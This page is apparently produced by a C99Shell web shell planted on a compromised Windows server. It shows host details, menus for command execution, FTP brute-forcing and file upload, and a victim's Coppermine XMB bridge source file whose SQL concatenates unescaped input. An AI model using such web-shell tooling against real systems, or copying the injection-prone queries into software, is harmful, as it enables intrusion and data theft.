!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\cpg1418\bridge\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     xmb.inc.php (8.05 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.18
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/bridge/xmb.inc.php $
  $Revision: 4380 $
  $Author: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
**********************************************/

/*

Cookie fix (if your board is not installed to site root):

functions.php,

find put_cookie function definition (c. line 1414) and add

$path = '/';

just inside the top of the function

*/

if (!defined('IN_COPPERMINE')) die('Not in Coppermine...');

// Switch that allows overriding the bridge manager with hard-coded values
define('USE_BRIDGEMGR'1);

require_once 
'bridge/udb_base.inc.php';

class 
cpg_udb extends core_udb {

    function 
cpg_udb()
    {
        global 
$BRIDGE;
        
        if (!
USE_BRIDGEMGR) { // the vars that are used when bridgemgr is disabled

            // URL of your board
            
$this->boardurl 'http://localhost/XMB';

            
// local path to your board's config file
            
require_once('../XMB/config.php');

            
$this->use_post_based_groups 1;

        } else { 
// the vars from the bridgemgr
            
$this->boardurl $BRIDGE['full_forum_url'];
            require_once(
$BRIDGE['relative_path_to_config_file'] . 'config.php');
            
$this->use_post_based_groups $BRIDGE['use_post_based_groups'];
        }
        
        
// multiple groups are not actually supported, but need this set due to the unusual group implementation in XMB.
        
$this->multigroups 1;
        
$this->group_overrride 1;
        
        
// Database connection settings
        
$this->db = array(
            
'name' => $dbname,
            
'host' => $dbhost,
            
'user' => $dbuser,
            
'password' => $dbpw,
            
'prefix' =>$tablepre
        
);
        
        
// Board table names
        
$this->table = array(
            
'users' => 'members',
            
'groups' => 'ranks',
        );

        
// Derived full table names
        
$this->usertable '`' $this->db['name'] . '`.' $this->db['prefix'] . $this->table['users'];
        
$this->groupstable =  '`' $this->db['name'] . '`.' $this->db['prefix'] . $this->table['groups'];
        
        
// Table field names
        
$this->field = array(
            
'username' => 'username'// name of 'username' field in users table
            
'user_id' => 'uid'// name of 'id' field in users table
            
'password' => 'password'// name of 'password' field in users table
            
'email' => 'email'// name of 'email' field in users table
            
'regdate' => 'regdate'// name of 'registered' field in users table
            
'location' => 'location'// name of 'location' field in users table
            
'website' => 'site'// name of 'website' field in users table
            
'usertbl_group_id' => 'status'// name of 'group id' field in users table
            
'grouptbl_group_id' => 'title'// name of 'group id' field in groups table
            
'grouptbl_group_name' => 'title'// name of 'group name' field in groups table
        
);
        
        
// Pages to redirect to
        
$this->page = array(
            
'register' => '/register.php',
            
'editusers' => '/misc.php?action=list',
            
'edituserprofile' => '/member.php?action=viewpro&member='
        
);
        
        
// Group ids
        
$this->admingroups = array(8,9);
        
$this->guestgroup 3;
                
        
// Connect to db
        
$this->connect();
    }

    function 
collect_groups()
    {
        
$sql "SELECT * FROM {$this->groupstable}";
    
        
$result cpg_db_query($sql$this->link_id);
    
        
// XMB has no guest group in groups table, so adding one here
        
$udb_groups = array(3=>'Guests');
    
        while (
$row mysql_fetch_assoc($result))
        {
            
$udb_groups[$row['id']+100] = utf_ucfirst(utf_strtolower($row[$this->field['grouptbl_group_name']]));
        }
        return 
$udb_groups;
    }
    
    function 
get_groups($row)
    {        
        
$id $row['id'];
        
        
$sql "SELECT id FROM {$this->groupstable}{$this->usertable} WHERE {$this->field['usertbl_group_id']} = {$this->field['grouptbl_group_id']} AND {$this->field['user_id']}='$id'";

        
$result cpg_db_query($sql$this->link_id);
        
        if (
mysql_num_rows($result)){
            
$row mysql_fetch_row($result);
            if (
$this->use_post_based_groups){
                
$row = array($row[0] + 100);
            } else {
                if (
in_array($row[0], $this->admingroups)){
                    
$row = array(1);
                } else {
                    
$row = array(2);
                }
            }
            return 
$row;
        } else {
            return 
false;
        }
    }
    
        function 
get_users($options = array())
    {
        global 
$CONFIG;

        
// Copy UDB fields and config variables (just to make it easier to read)
        
$f =& $this->field;
        
$C =& $CONFIG;
        
        
// Sort codes
        
$sort_codes = array('name_a' => 'user_name ASC',
                            
'name_d' => 'user_name DESC',
                            
'group_a' => 'group_name ASC',
                            
'group_d' => 'group_name DESC',
                            
'reg_a' => 'user_regdate ASC',
                            
'reg_d' => 'user_regdate DESC',
                            
'pic_a' => 'pic_count ASC',
                            
'pic_d' => 'pic_count DESC',
                            
'disku_a' => 'disk_usage ASC',
                            
'disku_d' => 'disk_usage DESC',
                            
'lv_a' => 'user_lastvisit ASC',
                            
'lv_d' => 'user_lastvisit DESC',
                           );

        
$f['usertbl_group_id'] = 'id';

        
// Fix the group id, if bridging is enabled
        
if ($CONFIG['bridge_enable']) {
            
$f['usertbl_group_id'] .= '+100';
        }
        
        
// Build WHERE clause, if this is a username search
        
if ($options['search']) {
            
$options['search'] = 'WHERE u.'.$f['username'].' LIKE "'.$options['search'].'" ';
        }

        
// Build SQL table, should work with all bridges
        
$sql "SELECT {$f['user_id']} as user_id, {$f['username']} as user_name, {$f['email']} as user_email, {$f['regdate']} as user_regdate, lastvisit as user_lastvisit, '' as user_active, ".
               
"COUNT(pid) as pic_count, ROUND(SUM(total_filesize)/1024) as disk_usage, group_name, group_quota ".
               
"FROM {$this->usertable} AS u ".
               
"INNER JOIN {$this->groupstable} AS rank ON u.status = rank.title ".   
               
" INNER JOIN {$C['TABLE_USERGROUPS']} AS g ".
               
"ON  g.group_id = rank.{$f['usertbl_group_id']} LEFT JOIN {$C['TABLE_PICTURES']} AS p ON p.owner_id = u.{$f['user_id']} ".
               
$options['search'].
               
"GROUP BY user_id " "ORDER BY " $sort_codes[$options['sort']] . " ".
               
"LIMIT {$options['lower_limit']}{$options['users_per_page']};";

        
$result cpg_db_query($sql);
        
        
// If no records, return empty value
        
if (!$result) {
            return array();
        }
        
        
// Extract user list to an array
        
while ($user mysql_fetch_assoc($result)) {
            
$userlist[] = $user;
        }    

        return 
$userlist;
    }
    
    
// definition of how to extract id, name, group from a session cookie
    
function session_extraction()
    {
        if (isset(
$_COOKIE['xmbpw']) && isset($_COOKIE['xmbuser'])){
            return array(
$this->get_user_id($_COOKIE['xmbuser']), $_COOKIE['xmbpw']);
        } else {
            return 
false;
        }
    }
    
    
// definition of how to extract an id and password hash from a cookie
    
function cookie_extraction()
    {
        return 
false;
    }
    
    
// definition of actions required to convert a password from user database form to cookie form
    
function udb_hash_db($password)
    {
        return 
$password;
    }
    
    
// Login
    
function login_page()
    {
        
$this->redirect('/misc.php?action=login');
    }

    
// Logout
    
function logout_page()
    {
        
$this->redirect('/misc.php?action=logout');
    }
    
        
// View users
    
function view_users()
    {
    }
    
    
// View user profile
    
function view_profile($uid)
    {
    }
        
// Edit user profile
    
function edit_profile($uid)
    {
        
$this->redirect($this->page['edituserprofile'].$this->get_user_name($uid));
    }
}

// and go !
$cpg_udb = new cpg_udb;
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--